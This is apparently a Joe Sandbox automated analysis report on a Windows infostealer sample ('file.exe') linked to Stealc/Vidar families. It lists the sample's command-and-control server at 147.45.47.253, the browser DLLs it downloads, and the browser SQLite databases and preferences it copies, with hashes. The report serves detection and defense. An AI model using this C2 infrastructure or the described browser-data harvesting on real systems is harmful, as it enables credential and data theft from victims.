https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	false	URL Reputation: safe	unknown
http://147.45.47.253/072aacac8f68fd5f.phpY	RegAsm.exe, 00000002.00000002.2243570891.000000000103D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	KECGDBFCBKFIDHIDHDHIECGDHC.2.dr	false	URL Reputation: safe	unknown
http://147.45.47.253/072aacac8f68fd5f.phpEBGHIEBFIJKECBKFHD	RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	CFHIIJDB.2.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	false	URL Reputation: safe	unknown
http://147.45.47.253/58b7620e0f34e81d/mozglue.dllo	RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.45.47.253	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500045
Start date and time:	2024-08-27 20:11:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 89 Number of non-executed functions: 236
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	RedLine	Browse	147.45.47.251
	file.exe	Get hash	malicious	Unknown	Browse	147.45.44.168
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	https://steamcommmuinity.com/user1298323/action	Get hash	malicious	Unknown	Browse	147.45.47.40
	https://steamcommunityj.com/giftcarts/actlvation/feor38565Drgs18	Get hash	malicious	Unknown	Browse	147.45.47.40
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	RedLine	Browse	147.45.47.36

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	CeJDn4j0Ci.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	CeJDn4j0Ci.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CAKKJKKECFIDGDHIJEGDAKFBFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFHIIJDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJDGHJDBFIJKECAECAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FHIDAKFIJJKJJJKEBKJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJECGDGCBKECAKFBGCAKECGIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJEBGHIEBFIJKECBKFHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIJDGI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECGDBFCBKFIDHIDHDHIECGDHC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: CeJDn4j0Ci.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: CeJDn4j0Ci.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
